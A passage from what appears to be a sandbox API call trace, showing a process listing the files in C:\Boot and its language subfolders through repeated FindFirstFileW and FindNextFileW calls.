ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bce8 [0047.030] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.030] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.030] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.030] FindClose (in: hFindFile=0x58bce8 | out: hFindFile=0x58bce8) returned 1 [0047.030] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.030] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bce8 [0047.031] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.031] FindClose (in: hFindFile=0x58bce8 | out: hFindFile=0x58bce8) returned 1 [0047.031] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x592fe0 [0047.033] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.033] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.033] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.033] FindNextFileW (in: hFindFile=0x592fe0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.033] FindClose (in: hFindFile=0x592fe0 | out: hFindFile=0x592fe0) returned 1 [0047.033] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.033] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0047.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.204] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.204] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.206] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.206] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0047.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.206] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.206] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.207] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.207] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.207] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0047.207] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.207] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.207] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0047.213] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.213] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.213] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0047.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.213] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.214] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.215] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.215] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.215] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.215] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.215] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.263] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.263] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.263] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.264] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.264] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.265] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.265] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.265] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.265] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.265] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.266] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.266] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.266] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.266] FindFirstFileW (in: 